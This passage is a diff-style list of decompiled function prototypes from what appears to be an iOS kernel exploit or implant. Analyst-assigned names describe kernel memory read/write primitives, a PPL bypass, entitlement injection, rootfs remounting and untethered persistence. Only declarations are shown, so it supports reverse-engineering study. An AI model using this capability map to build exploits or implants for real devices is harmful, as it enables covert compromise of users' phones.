__fastcall sub_FD18(_DWORD *a1, __int64 a2); +__int64 __fastcall sub_FE30(__int64 a1); +__int64 __fastcall sub_FF10(__int64, __int64, __int64, _QWORD *); +__int64 __fastcall sub_1003C(struct_krwCtx *a1, __int64 a2, __int64 a3, int a4, __int64 a5, __int64 a6, unsigned __int64 a7); +void __fastcall sub_101AC(CFDictionaryRef *a1, const void *a2); +__int64 __fastcall sub_10214(__int64 a1, __int64 a2, unsigned __int64 a3); +__int64 __fastcall sub_10414(struct_krwCtx *a1, __int64 a2, unsigned __int64 *a3); +__int64 __fastcall sub_10534(struct_krwCtx *a1, __int64 a2, unsigned int a3, unsigned __int64 *a4); +__int64 __fastcall kwritebuf_0_or_5(__int64 a1, __int64 a2, __int64 a3, __int64 a4); +__int64 __fastcall sub_1062C(__int64 a1, __int64 a2, __int64 a3, __int64 a4); +__int64 __fastcall sub_10660(__int64 a1, __int64 a2); +__int64 __fastcall kwrite64_via_kwritebuf(__int64 a1, __int64 a2, __int64 a3); +__int64 __fastcall kread32(__int64 a1, unsigned __int64 a2); +__int64 __fastcall sub_10708(__int64 a1, mach_vm_address_t a2, int a3); +__int64 __fastcall sub_10730(_QWORD *a1, _QWORD **a2); +unsigned __int64 __fastcall sub_1091C(__int64 a1, int a2); +__int64 __fastcall sub_109F8(__int64 a1, __int64 a2, __int64 a3, unsigned int a4, __int64 a5, __int64 a6, __int64 a7); +__int64 __fastcall sub_10B08(_QWORD *a1, __int64 a2, unsigned int a3, __int64 a4, __int64 a5, __int64 a6); +__int64 __fastcall sub_10B90(__int64 a1, __int64 a2, __int64 a3); +__int64 __fastcall sub_10C2C(__int64 a1, __int64 a2, int a3, __int64 a4); +__int64 __fastcall sub_10DEC(__int64 a1, __int64 a2, _QWORD *a3); +__int64 __fastcall sub_10EA8(__int64 a1, __int64 a2, __int64 a3); +__int64 __fastcall sub_10F6C(__int64 a1, __int64 a2); +__int64 __fastcall sub_10F84(__int64 a1, __int64 a2, __int64 a3); +__int64 __fastcall sub_11054(__int64 *a1, __int64 a2, __int64 a3); +__int64 __fastcall sub_110FC(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8, __int64 a9); +__int64 __fastcall sub_111B4(__int64 a1); +__int64 __fastcall sub_111C0(__int64 a1); +__int64 __fastcall sub_125E4(__int64 a1); +__int64 __fastcall sub_12678(__int64 a1, unsigned __int8 a2); +__int64 __fastcall sub_12754(__int64 a1); +__int64 __fastcall sub_127C0(__int64 a1); +__int64 __fastcall sub_12954(const void *a1, const void *a2); +void __fastcall sub_129F8(const void *a1, CFTypeRef cf, __int64 a3); +__int64 __fastcall sub_12BF4(const void *a1, const void *a2); +void __fastcall sub_12C98(void *key, const CFArrayRef *a2, __int64 a3); +void __fastcall sub_12DB0(const void *a1, __int64 a2); +const void *__fastcall sub_12E48(const void *result, _BYTE *a2); +const void *__fastcall sub_12E88(const void *result, __int64 a2); +void __fastcall sub_12EF8(struct_krwCtx *a1); +bool __fastcall sub_1308C(struct_krwCtx *a1); +void __fastcall sub_130B4(__int64 a1, unsigned __int64 a2, __int64 a3, __int64 a4); +bool __fastcall sub_13304(struct_krwCtx *ctx, mach_vm_address_t vaddr, __int64 newBytes, __int64 size, int a5); +__int64 __fastcall sub_1353C(__int64 a1, __int64 *a2, int *a3); +void __fastcall sub_13750(struct_krwCtx *a1, unsigned __int64 a2, unsigned __int64 a3); +void __fastcall sub_13844(struct_krwCtx *a1, unsigned __int64 a2, int a3); +bool __fastcall sub_13924(struct_krwCtx *a1, unsigned __int64 a2, int a3); +__int64 __fastcall ppl_kwritebuf(__int64 ctx, unsigned __int64 vaddr, void *newBytes, int size); +bool __fastcall kaddr_need_ppl_bypass(__int64 ctx, unsigned __int64 vaddr); +void __fastcall ppl_kwritebuf_nocheck(__int64 ctx, mach_vm_address_t vaddr, __int64 newBytes, __int64 size, char pplBypass, int); +void __fastcall sub_13D9C(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3); +__int64 __fastcall kwrite_something(struct_krwCtx *a1, mach_vm_address_t a2, __int64 a3, __int64 a4, int a5); +__int64 __fastcall check_rootfs_rw(__int64 ctx, int *outIsReadWrite); +bool __fastcall sub_13FF8(struct_krwCtx *a1, char *a2); +__int64 __fastcall sub_14164(struct_krwCtx *a1, int a2); +__int64 __fastcall sub_141F0(__int64 a1); +__int64 __fastcall add_rw_to_disk(struct_krwCtx *a1, const char *a2, const char *a3); +bool __fastcall sub_14444(const char *a1); +__int64 __fastcall sub_14524(struct_krwCtx *a1, int a2); +__int64 __fastcall sub_148A4(struct_krwCtx *a1, char *a2); +__int64 __fastcall sub_14920(struct_krwCtx *a1, int a2); +__int64 __fastcall sub_14BEC(__int64 a1, void *a2, _DWORD *a3, _BOOL4 *a4); +__int64 __fastcall sub_14CA4(struct_krwCtx *a1, int w1_0); +__int64 __fastcall sub_14D98(struct_krwCtx *a1, char *a2, int a3, unsigned int *a4); +__int64 __fastcall sub_14EC4(__int64 a1, const char *a2, unsigned int a3); +__int64 __fastcall sub_14F5C(__int64 a1, const char *a2, int a3); +bool sub_14F9C(); +__int64 __fastcall krw_inject_entitlements_maybe(struct_krwCtx *krwCtx, __int64 task, char *entitlementXml); +__int64 __fastcall sub_154D0(__int64 a1, __int64 a2, char *a3, __int64 a4, int a5); +__int64 __fastcall sub_155A0(__int64 a1); +__int64 __fastcall sub_15880(__int64 a1); +__int64 sub_15CA4(); +void __fastcall sub_15CC8(__int64 a1); +__int64 __fastcall sub_15D1C(__int64 a1, __int64 a2, int a3); +__int64 __fastcall sub_15EC4(__int64 a1); +unsigned __int64 sub_18B14(); +char *__fastcall sub_18D68(__int64, _DWORD *, _DWORD *, unsigned __int64); +__int64 __fastcall sub_18DF0(__int64 a1, unsigned __int64 a2, _QWORD *a3); +unsigned __int64 __fastcall sub_18EA4(__int64 a1, unsigned __int64 a2, __int64 *a3, char a4); +__int64 __fastcall sub_18FCC(struct_krwCtx *a1, unsigned __int64 a2, _QWORD *a3); +__int64 __fastcall sub_19040(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3); +__int64 __fastcall sub_19128(__int64 a1, unsigned __int64 a2, __int64 a3); +__int64 __fastcall sub_19354(__int64 result, __int64, int); +__int64 __fastcall sub_193C0(__int64 a1, __int64 a2, int a3); +__int64 __fastcall nullsub_1(_QWORD); // weak +__int64 __fastcall validate_addr(__int64, __int64); +unsigned __int64 __fastcall validate_addr_maybe2(struct_krwCtx *krwCtx, unsigned __int64 vaddr); +unsigned __int64 __fastcall sub_197A8(__int64 **); +__int64 sub_1984C(); +__int64 __fastcall sub_19854(__int64 a1); +__int64 __fastcall sub_198FC(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4, char a5); +__int64 __fastcall sub_19AC4(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4); +unsigned int *__fastcall sub_19ACC(__int64 *a1, __int64 *a2); +unsigned __int64 __fastcall sub_19B30(__int64 *a1, __int64 *a2); +__int64 __fastcall sub_19B94(_QWORD, _QWORD); // weak +// __n128 __usercall sub_19B98@(char *__s2@, _QWORD *a2@, __int64 a3@); +// __n128 __usercall macho_getsectbyname@(char *seg@, __int64 a2@, const char *sect@, _QWORD *a4@); +// double __usercall sub_19D10@(__int64 a1@, _QWORD *a2@); +__int64 __fastcall sub_19D20(__int64 a1, char *__s2, unsigned __int64 a3); +double __fastcall sub_19DD4(struct_a1 *a1, __int64 a2); +__int64 __fastcall sub_19E04(__int64 a1); +bool __fastcall sub_19E58(__int64 a1); +_DWORD *__fastcall sub_19F2C(__int64 a1, __int64 a2); +bool __fastcall sub_1A0D4(__int64 a1, int a2, __int64 a3, unsigned int a4); +void *__fastcall sub_1A0F4(__int64 a1, int a2, __int64 a3, unsigned int a4); +bool __fastcall sub_1A4FC(__int64 a1, int a2, __int64 a3, int a4); +void __fastcall sub_1A520(__int64 a1); +__int64 __fastcall sub_1A58C(__int64 a1, _QWORD **a2, __int64 a3); +__int64 __fastcall sub_1AA90(__int64 result); +__int64 __fastcall sub_1AADC(__int64 a1, __int64 a2); +__int64 __fastcall sub_1B158(__int64 a1, __int64 a2); +__int64 __fastcall sub_1B280(__int64 a1); +__int64 __fastcall sub_1B360(__int64 a1, _QWORD **a2); +__int64 __fastcall sub_1B42C(__int64 a1); +__int64 __fastcall sub_1BC54(__int64 a1); +__int64 __fastcall sub_1BC60(__int64 a1); +__int64 __fastcall sub_1BC68(__int64 a1); +__int64 __fastcall sub_1BC78(task_name_t a1); +__int64 __fastcall sub_1BD24(task_name_t a1, _QWORD *a2); +__int64 __fastcall sub_1BD80(__int64 a1, unsigned int a2); +__int64 __fastcall sub_1BDEC(unsigned int); +__int64 __fastcall sub_1BE0C(__int64 a1, unsigned int a2, mach_port_name_t *a3); +__int64 __fastcall sub_1BF68(__int64 a1, unsigned int a2, vm_size_t size, vm_address_t *address); +__int64 __fastcall sub_1C058(__int64 a1); +__int64 __fastcall sub_1C0C8(__int64 a1, int *a2); +__int64 __fastcall sub_1C3EC(__int64 a1, int *a2); +__int64 __fastcall sub_1C720(struct_krwCtx *a1, unsigned int *a2, unsigned int a3); +__int64 __fastcall sub_1C8B0(struct_krwCtx *a1, unsigned int a2, unsigned int a3); +__int64 __fastcall sub_1CA3C(__int64 a1, task_name_t a2, unsigned int a3, __int64 a4, unsigned int a5); +__int64 __fastcall sub_1CD34(struct_krwCtx *a1, unsigned int a2, vm_size_t size, vm_offset_t offset, vm_address_t *a5); +__int64 __fastcall sub_1CEC4(__int64 a1); +unsigned __int64 __fastcall sub_1CF1C(struct_krwCtx *a1); +__int64 __fastcall sub_1D1B0(__int64 a1); +unsigned int *__fastcall sub_1D4A0(__int64 a1); +__int64 __fastcall sub_1D70C(__int64 a1, _DWORD *a2); +mach_vm_address_t sub_1D970(); +__int64 __fastcall kernel_pattern_scan(__int64 a1, char *__s1, int a3); +__int64 __fastcall sub_1DE40(__int64 *a1, __int64 a2, __int64 a3, __int64 a4, int a5); +__int64 __fastcall sub_1E0C8(__int128 *a1, char *__s, int a3, char a4); +unsigned __int64 __fastcall sub_1E1B8(__int64 *a1, __int64 a2, int a3); +char *__fastcall sub_1E2BC(__int64 *a1, _DWORD *a2, _DWORD *a3, unsigned __int64 a4); +unsigned __int64 __fastcall kernel_get_variable_addr(__int64 a1, char *a2, const char *a3, char *a4); +char *__fastcall sub_1E45C(__int64 a1); +__int64 __fastcall sub_1E598(__int64); +unsigned __int64 __fastcall sub_1E620(__int64 *a1, __int64 a2); +__int64 __fastcall sub_1E62C(__int64 *a1); +char *__fastcall sub_1E728(__int64 *a1); +char *__fastcall sub_1E800(__int64 *a1, __int64 *a2); +unsigned __int64 __fastcall sub_1E854(__int64 *a1, __int64 *a2); +unsigned __int64 __fastcall sub_1E85C(__int64 *a1, int *a2); +unsigned __int64 __fastcall sub_1E99C(__int64 a1, unsigned __int64 *a2, unsigned __int64 *a3); +__int64 __fastcall sub_1EA70(__int64 a1, int a2); +char *__fastcall sub_1EB2C(__int64 *a1, __int64 *a2, int a3); +__int64 __fastcall sub_1ED50(char *a1, size_t a2); +__n128 __fastcall kernel_version_parse(struct_xnuMajorVersion *xnuMajorVersion, int *a2, int *a3); +__int64 __fastcall sub_1F07C(vm_map_read_t a1, mach_vm_address_t a2, _QWORD *a3); +__int64 number_of_cpus(); +unsigned __int64 sub_1F0F4(); +__int64 sub_1F114(); +__int64 __fastcall sub_1F148(task_name_t a1); +__int64 sub_1F190(); +__int64 __fastcall sub_1F1C8(task_name_t a1, _QWORD *a2, _QWORD *a3); +unsigned __int64 __fastcall sub_1F240(_DWORD *a1); +__int64 __fastcall sub_1F274(unsigned int a1, _QWORD *a2); +__int64 __fastcall sub_1F308(__int64 *a1, int a2, size_t __n, _QWORD *__src); +__int64 __fastcall sub_1F418(__int64 a1, _QWORD *a2, _DWORD *a3); +__int64 __fastcall sub_1F4A4(void **a1); +__int64 __fastcall fd_make_pipe(int a1[2]); +__int64 __fastcall fd_read_test(int *fd); +__int64 __fastcall setup_two_fds(int *a1); +__int64 __fastcall setup_fd(int a1); +__int64 __fastcall sub_1F714(__int64 a1, const void *a2, size_t a3); +__int64 __fastcall sub_1F770(int *a1, void *a2, size_t a3); +int *__fastcall sub_1F7CC(__int64 a1); +int *__fastcall sub_1F828(int *a1); +int *__fastcall sub_1F894(__int64 a1); +__int64 __fastcall sub_1F900(__int64 a1, int a2, __int64 a3, __int64 a4, int a5, __int64 a6); +int *__fastcall sub_1F964(int *a1); +__int64 __fastcall sub_1FA28(__int64 a1, int a2); +__int64 __fastcall sub_1FA7C(__int64 a1, __int64 a2, int a3, __int64 a4); +__int64 __fastcall sub_1FADC(__int64 a1); +__int64 __fastcall sub_1FC94(__int64 a1); +__int64 __fastcall sub_1FD98(statfs *a1); +__int64 __fastcall driver_cmd_setup_untethered_persistence_maybe(__int64 a1, int a2); +__int64 __fastcall sub_203B0(__int64 a1, _DWORD *a2, char *a3); +__int64 __fastcall sub_20468(__int64 a1, __int64 a2, int a3); +int *__fastcall sub_20490(__int64 a1); +int *__fastcall sub_20524(__int64 a1); +const CFDictionaryRef *__fastcall sub_2062C(const CFDictionaryRef *result); +__int64 __fastcall sub_20780(__int64 a1, io_iterator_t iterator); +__int64 __fastcall sub_20930(__int64 a1, __int64 *a2, __int64 a3); +__int64 __fastcall sub_20A14(__int64 a1, int a2, char a3); +__int64 __fastcall sub_20C00(__int64 a1, __int64 a2, __int64 a3, int *a4); +__int64 __fastcall sub_20C64(__int64 a1, __int64 a2, __int64 a3, int *a4); +__int64 __fastcall sub_20D24(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 *a4); +__int64 __fastcall sub_20D90(struct_krwCtx *a1, __int64 a2, unsigned __int64 a3, int a4, unsigned __int64 *a5); +__int64 __fastcall sub_21060(struct_krwCtx *a1, __int64 a2, __int16 a3, __int64 a4); +__int64 __fastcall sub_211F4(__int64 a1, __int64 a2, unsigned __int64 a3, unsigned __int64 *a4); +__int64 __fastcall sub_21200(struct_krwCtx *a1, int w1_0); +uint64_t __fastcall sub_21304(__int64 a1); +unsigned __int64 __fastcall sub_21388(struct_krwCtx *a1); +__n128 __fastcall sub_213D4(__int64 a1, unsigned __int64 a2, __int64 a3, __int64 a4); +double __fastcall sub_2183C(__int64 a1, unsigned __int64 a2, __int64 a3); +unsigned __int64 __fastcall sub_21844(__int64 a1, unsigned __int64 a2); +unsigned __int64 __fastcall sub_218A8(__int64 a1, unsigned __int64 a2, __int64 a3); +__int64 __fastcall sub_2190C(int a1, _QWORD *a2); +__int64 __fastcall sub_21960(__int64 a1, vm_size_t **a2); +bool __fastcall sub_22144(int a1, __int64 a2, void *__s2, size_t __n); +size_t __fastcall sub_221E0(int a1, __int64 a2, void *a3, size_t __n); +__int64 __fastcall sub_222F0(__int64 a1, __int64 a2); +bool __fastcall sub_223A4(__int64 a1, unsigned int a2, int a3, __int64 a4); +bool __fastcall sub_22464(__int64 a1, __int64 a2, int a3); +__int64 __fastcall sub_22470(__int64, __int64); +__int64 __fastcall sub_224AC(__int64 a1, unsigned int a2); +unsigned __int64 __fastcall sub_224B4(__int64 a1, unsigned int a2); +__int64 __fastcall sub_224BC(char **a1, unsigned int a2); +__int64 sub_226D4(); +__int64 __fastcall sub_22718(const char *a1, _QWORD *a2, unsigned int *a3); +bool __fastcall sub_22878(const char *a1); +__int64 __fastcall sub_228E4(const char *a1, const char *a2, char a3); +__int64 __fastcall sub_22ADC(const char *a1, const char *a2); +bool __fastcall sub_22CA8(bool *a1); +__int64 __fastcall nullsub_2(_QWORD); // weak +__int64 __fastcall sub_22D6C(struct_krwCtx *a1, __int64 a2, int a3); +__int64 __fastcall sub_23348(__int64 a1, int a2); +__int64 __fastcall sub_23424(struct_krwCtx *a1); +bool __fastcall sub_236A4(struct_krwCtx *a1, __int64 a2, _OWORD *a3); +__int64 __fastcall sub_23700(__int64 a1, __int64 a2); +__int64 __fastcall sub_23760(struct_krwCtx *a1, __int64 a2); +__int64 __fastcall sub_2385C(struct_krwCtx *a1, __int64 a2); +__int64 __fastcall sub_23940(struct_krwCtx *a1, __int64 a2); +__int64 __fastcall sub_239D8(struct_krwCtx *a1, _QWORD *a2, _DWORD *a3, _QWORD *a4, _DWORD *a5, int a6); +void __fastcall sub_23D30(__int64 a1, char a2); +__int64 __fastcall sub_23F78(__int64 a1, void (__fastcall *a2)(__int64), __int64 a3); +__int64 __fastcall check_sandboxed(int a1); +__int64 __fastcall another_sandbox_check(__int64 a1); +unsigned __int64 __fastcall sub_24208(__int64 a1); +void *__fastcall sub_24368(__int64 a1, __int16 *a2, __int64 a3); +__int64 __fastcall sub_244C8(__int64 a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int *a6); +__int64 __fastcall get_kext_base_addr(__int64 a1, char *__s, _QWORD *a3); +__int64 __fastcall sub_24620(__int64 a1, char *__s2, unsigned __int64 a3, __int64 *a4); +__int64 __fastcall sub_248A4(__int64 a1, char *a2, unsigned __int64 a3, _QWORD *a4); +__int64 __fastcall sub_248E4(__int64); +__int64 __fastcall sub_24908(__int64 a1); +double __fastcall sub_24954(__int64 a1, int a2); +__int64 __fastcall sub_249B8(__int64 a1, unsigned int a2); +__int64 __fastcall sub_24A64(__int64 a1, __int64 a2, int a3); +__int64 __fastcall sub_24AD0(__int64 a1, const void *a2, unsigned int a3); +__int64 __fastcall sub_24B38(__int64 a1, mach_port_t a2, mach_port_t a3, mach_msg_id_t a4); +double __fastcall sub_24BC0(__int64 a1); +const CFDictionaryRef *__fastcall sub_24D64(const char *a1); +__int64 __fastcall sub_24DA8(unsigned int a1, __int64 a2, __int64 a3, unsigned int a4, unsigned int a5, const void *a6, int a7); +__int64 __fastcall sub_24FC0(__int64 a1, unsigned int a2, mach_port_name_t *a3); +bool __fastcall sub_25068(thread_act_t a1, thread_policy_t policy_info); +bool __fastcall sub_250C4(thread_act_t a1, unsigned int a2); +bool __fastcall sub_2515C(thread_act_t a1); +__int64 __fastcall sub_25164(__int64 a1, unsigned int a2); +__int64 __fastcall sub_251A4(__int64 a1, unsigned int a2, unsigned int a3); +__int64 __fastcall fd_close(int a1); +__int64 __fastcall fd_open_dev_null(int *fdOut); +__int64 __fastcall kreadbuf_via_dev_null_simple(struct_krwCtx *a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5); +__int64 __fastcall sub_25498(struct_krwCtx *a1, unsigned __int64 a2, const void *a3, unsigned int a4, int a5); +__int64 __fastcall sub_255FC(__int64 result, __int64, __int64, __int64, int); +__int64 __fastcall sub_2566C(struct_krwCtx *a1, int *a2, unsigned __int64 a3); +__int64 __fastcall kreadbuf_last_1(struct_krwCtx *ctx, __int64 vaddr, __int64 size, void *outBuf); +bool __fastcall sub_25734(__int64 a1); +__int64 __fastcall sub_25804(__int64 a1); +__int64 __fastcall sub_25C6C(__int64 a1); +__int64 __fastcall sub_25DB0(__int64); +bool __fastcall sub_25DE8(__int64); +__int64 __fastcall kreadbuf_via_dev_null_only(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5); +__int64 __fastcall sub_26204(__int64 a1, __int64 a2, char *a3, mach_msg_type_number_t a4); +__int64 __fastcall sub_266D0(__int64 a1, __int64 a2); +__int64 __fastcall sub_267E8(__int64 a1); +__int64 __fastcall sub_268F8(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5); +__int64 __fastcall sub_26B00(__int64 a1, int a2); +__int64 __fastcall sub_26BE4(__int64 a1); +__int64 __fastcall kreadbuf_via_IOConnectCallMethod(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5); +__int64 __fastcall sub_271B0(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5); +__int64 __fastcall physmap_maybe(__int64 a1, vm_address_t *address, vm_size_t size, __int64 paddr); +__int64 __fastcall sub_27478(__int64 a1); +__int64 __fastcall sub_27504(__int64 a1, char a2); +__int64 __fastcall sub_27808(__int64 a1, char a2); +__int64 __fastcall sub_280A0(__int64 a1, vm_address_t *a2, vm_size_t a3, __int64 a4); +__int64 __fastcall sub_2811C(__int64 a1); +__int64 __fastcall sub_281F0(struct_krwCtx *a1); +__int64 __fastcall sub_28288(__int64 a1, mach_port_t *a2); +__int64 __fastcall sub_28364(struct_krwCtx *a1); +bool __fastcall kread64_outptr(struct_krwCtx *a1, unsigned __int64 vaddr, unsigned __int64 *out); +bool __fastcall sub_288A4(__int64 a1, unsigned __int64 a2, __int64 a3); +__int64 __fastcall sub_288D4(struct_krwCtx *a1); +unsigned __int64 __fastcall sub_28CE0(__int64 a1, unsigned __int64 a2, __int64 a3); +__int64 __fastcall sub_28D44(__int64 a1); +bool __fastcall noppl_kwrite32(__int64 a1, mach_vm_address_t address, int a3); +__int64 __fastcall sub_28F90(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5); +bool __fastcall kread32_outptr(__int64 krwCtx, unsigned __int64 vaddr, void *outBuf); +__int64 __fastcall kreadbuf_via_dev_null_and_thread_state(struct_krwCtx *krwCtx, unsigned __int64 vaddr, __int64 outBuf, unsigned int size, int a5); +__int64 __fastcall kreadbuf_via_tfp0(vm_map_read_t target_task, __int64 vaddr, mach_vm_size_t size, mach_vm_size_t size2, __int64 outBuf, _QWORD *a6); +bool __fastcall kread64_internal(struct_krwCtx *a1, unsigned __int64 a2, _QWORD *a3); +unsigned __int64 __fastcall sub_29CB0(struct_krwCtx *a1, __int64 a2); +unsigned __int64 __fastcall krw_xpac_vaddr_2(struct_krwCtx *a1, __int64 a2); +unsigned __int64 __fastcall krw_xpac_vaddr(struct_krwCtx *a1, __int64 a2); +bool __fastcall kwrite64_last_arg(__int64 a1, mach_vm_address_t address, __int64 newValue, int whatIsThis); +bool __fastcall kwrite64(__int64 a1, mach_vm_address_t a2, __int64 a3); +__int64 __fastcall sub_2A0D8(struct_krwCtx *a1, __int64 a2, __int64 a3); +__int64 __fastcall kwritebuf_last_1(__int64 ctx, __int64 address, __int64 buf, __int64 bufSize); +unsigned __int64 __fastcall sub_2A190(__int64 a1, unsigned int a2); +unsigned __int64 __fastcall sub_2A200(struct_krwCtx *a1, unsigned __int64 a2, _DWORD *a3); +bool __fastcall kreadbuf(struct_krwCtx *krwCtx, unsigned __int64 vaddr, mach_vm_size_t size, void *outBuf, __int64 a5); +bool __fastcall kreadbuf_last_0(__int64 ctx, unsigned __int64 addr, mach_vm_size_t size, void *outBuf); +bool __fastcall noppl_kwritebuf(__int64 a1, unsigned __int64 a2, const void *a3, mach_vm_size_t a4, int a5); +bool __fastcall kwritebuf_last_0(__int64 a1, unsigned __int64 a2, const void *a3, mach_vm_size_t a4); +mach_vm_address_t __fastcall ppl_kwrite32(struct_krwCtx *a1, mach_vm_address_t a2, int a3); +void __fastcall sub_2A63C(struct_krwCtx *a1, mach_vm_address_t address, __int64 newValue); +unsigned __int64 __fastcall kwritebuf_universal(_QWORD *a1, unsigned __int64 vaddr, const void *newBytes, mach_vm_size_t length); +__int64 __fastcall sub_2A7F4(vm_map_t target_task, mach_vm_address_t address, __int64 a3, mach_vm_size_t size, unsigned int a5); +__int64 __fastcall sub_2A8A4(struct_krwCtx *a1); +__int64 __fastcall sub_2AABC(__int64 a1, unsigned int a2); +__int64 sub_2AB10(); +__int64 __fastcall sub_2AB18(__int64 a1); +__int64 __fastcall sub_2AD98(semaphore_t a1); +__int64 __fastcall sub_2ADB4(__int64 a1); +__int64 __fastcall sub_2B03C(__int64 a1); +__int64 __fastcall sub_2B0E8(struct_krwCtx *krwCtx, unsigned __int64 vaddr, __int64 a3); +void __fastcall physwrite64_maybe(struct_krwCtx *krwCtx, unsigned __int64 paddr, __int64 value_1); +__int64 __fastcall physwritebuf_ppl_MAYBENOTSURE(__int64 a1, __int64 paddr, _QWORD *data, unsigned int size); +__int64 __fastcall sub_2B5BC(__int64 a1, __int64 a2); +__int64 __fastcall sub_2B788(const char **a1); +unsigned __int64 __fastcall sub_2B94C(struct_krwCtx *a1, unsigned int a2, __int64 *a3, unsigned __int8 a4, unsigned __int64 *a5); +__int64 __fastcall sub_2BBA4(__int64, int *, int *); +__int64 __fastcall sub_2BC80(__int64, _DWORD *, _DWORD *); +__int64 __fastcall sub_2BCF0(int a1, const void *a2, CC_LONG a3, void *a4, _DWORD *a5); +__int64 __fastcall sub_2BE34(UInt8 *a1, CFIndex a2, UInt8 *a3, CFIndex a4, _QWORD *a5, _QWORD *a6, _BYTE *a7); +CFErrorRef __fastcall sub_2BF00(UInt8 *bytes, CFIndex length); +bool __fastcall sub_2BFDC(const void *a1, const void *a2, _BYTE *a3); +void *__fastcall sub_2C044(CFPropertyListRef propertyList, size_t *a2); +bool __fastcall sub_2C0F8(struct_krwCtx *a1, unsigned int a2, const char *a3); +__int64 __fastcall sub_2C2F8(struct_krwCtx *a1, unsigned int a2, __int64 a3); +unsigned int *__fastcall sub_2C9B0(__int64 a1, int a2, int a3); +__int64 __fastcall sub_2CA2C(__int64 a1, int a2, unsigned int *a3); +__int64 __fastcall sub_2CA80(struct_krwCtx *a1, __int64 a2); +void __fastcall sub_2CB54(__int64 a1); +__int64 __fastcall krw_inject_entitlements2_maybe(struct_krwCtx *a1, __int64 task, char *entitlementXml, char a4); +__int64 __fastcall sub_2D008(const UInt8 *a1, CFIndex a2, char *a3, _QWORD *a4, size_t *a5, _BYTE *a6); +__int64 __fastcall sub_2D2B4(struct_krwCtx *a1, __int64 a2, unsigned int a3, bool *a4); +_DWORD *__fastcall sub_2D374(__int64 a1, int a2, unsigned int a3, const void *a4, unsigned int a5); +__int64 __fastcall sub_2D3F8(__int64 a1, unsigned int a2, int a3); +bool __fastcall sub_2D500(const UInt8 *a1, CFIndex a2, __int64 a3); +_DWORD *__fastcall sub_2D64C(__int64 a1, int a2, unsigned int a3, const void *a4, unsigned int a5); +unsigned int *__fastcall sub_2D700(__int64 a1, unsigned int a2); +__int64 __fastcall sub_2D934(struct_krwCtx *a1, unsigned int a2); +__int64 __fastcall sub_2DC40(struct_krwCtx *a1, unsigned int a2); +mach_vm_address_t __fastcall sub_2DE64(struct_krwCtx *a1, unsigned int a2); +mach_vm_address_t __fastcall sub_2DED4(struct_krwCtx *a1, unsigned int a2, int a3); +void __fastcall sub_2E00C(__int64 a1, unsigned int a2); +void __fastcall sub_2E310(__int64 a1, __int64 a2); +__int64 __fastcall sub_2E4E0(struct_krwCtx *a1, unsigned int a2, unsigned __int64 *a3); +__int64 __fastcall sub_2E5C0(struct_krwCtx *a1, unsigned int a2, __int64 *a3, unsigned __int8 a4, __int64 a5); +__int64 __fastcall sub_2EB4C(struct_krwCtx *a1, unsigned int a2, unsigned __int64 a3, bool *a4); +__int64 __fastcall sub_2EC1C(struct_krwCtx *a1, unsigned int a2, unsigned __int64 a3, int a4); +__int64 __fastcall sub_2ED14(__int64 a1, unsigned int a2, unsigned __int64 a3, mach_vm_size_t a4, vm_prot_t a5, int a6, int a7); +bool __fastcall sub_2F194(struct_krwCtx *a1, unsigned int a2, int a3, int a4); +__int64 __fastcall sub_2F294(struct_krwCtx *a1, unsigned int a2); +unsigned __int64 sub_2F2C8(); +__int64 __fastcall sub_2F7BC(struct_krwCtx *a1, int a2); +unsigned __int64 __fastcall sub_2F898(struct_krwCtx *a1, unsigned int a2, __int64 a3); +__int64 __fastcall sub_2F92C(__int64 result, int a2, int a3); +void *__fastcall sub_2F980(unsigned int *a1); +void __fastcall sub_2F9D4(_DWORD *a1); +void __fastcall sub_2FA24(__int64 a1); +_DWORD *__fastcall sub_31914(__int64 a1, _QWORD *a2, size_t *a3, unsigned int *a4, unsigned int *a5, unsigned int *a6); +__int64 __fastcall sub_31B90(struct_krwCtx *a1, __int64 a2, mach_vm_address_t *a3, _QWORD *a4, int *a5); +__int64 __fastcall sub_31FC0(__int64 a1, void *a2); +__int64 __fastcall sub_32064(struct_krwCtx *a1, unsigned __int64 a2, unsigned int a3, const void *a4, mach_vm_size_t a5); +__int64 __fastcall sub_320EC(struct_krwCtx *a1); +__int64 __fastcall sub_321C0(__int64 a1); +__int64 __fastcall sub_322A4(__int64 a1); +__int64 __fastcall sub_322D8(__int64 a1, int *a2); +__int64 __fastcall sub_323C4(__int64 a1); +_QWORD *__fastcall sub_32538(struct_krwCtx *a1, unsigned int *a2); +void __fastcall sub_325DC(unsigned int *a1); +__int64 __fastcall sub_32650(unsigned int *a1, int a2, __int64 a3); +_QWORD *sub_326D0(); +__int64 __fastcall sub_3272C(int __fd, __int64 a2, unsigned __int64 a3, __int64 a4); +__int64 __fastcall sub_32820(struct_krwCtx *ctx, __int64 ipc_port); +unsigned __int64 __fastcall maybe_ipc_port_get_kobject(struct_krwCtx *a1, unsigned __int64 ipc_port_kaddr); +__int64 __fastcall sub_329B8(__int64, __int64); +__int64 __fastcall sub_32A64(__int64, __int64); +__int64 __fastcall sub_32B10(__int64 a1); +__int64 __fastcall sub_32BC8(__int64); +unsigned __int64 __fastcall port_name_to_kaddr(struct_krwCtx *a1, mach_port_t a2); +unsigned __int64 __fastcall sub_32D24(__int64 a1); +unsigned __int64 __fastcall task_self_get_ipc_port(struct_krwCtx *ctx, mach_port_t port); +__int64 __fastcall kreadptr(struct_krwCtx *krwCtx, __int64 addr); +__int64 __fastcall sub_32E84(__int64); +__int64 __fastcall sub_32F1C(struct_krwCtx *a1); +__int64 __fastcall sub_33098(struct_krwCtx *a1); +__int64 __fastcall sub_33168(__int64); +__int64 __fastcall sub_331D0(__int64); +__int64 __fastcall sub_33238(__int64 a1); +unsigned __int64 __fastcall sub_33268(__int64 a1, unsigned int a2); +__int64 __fastcall sub_33304(struct_krwCtx *a1, 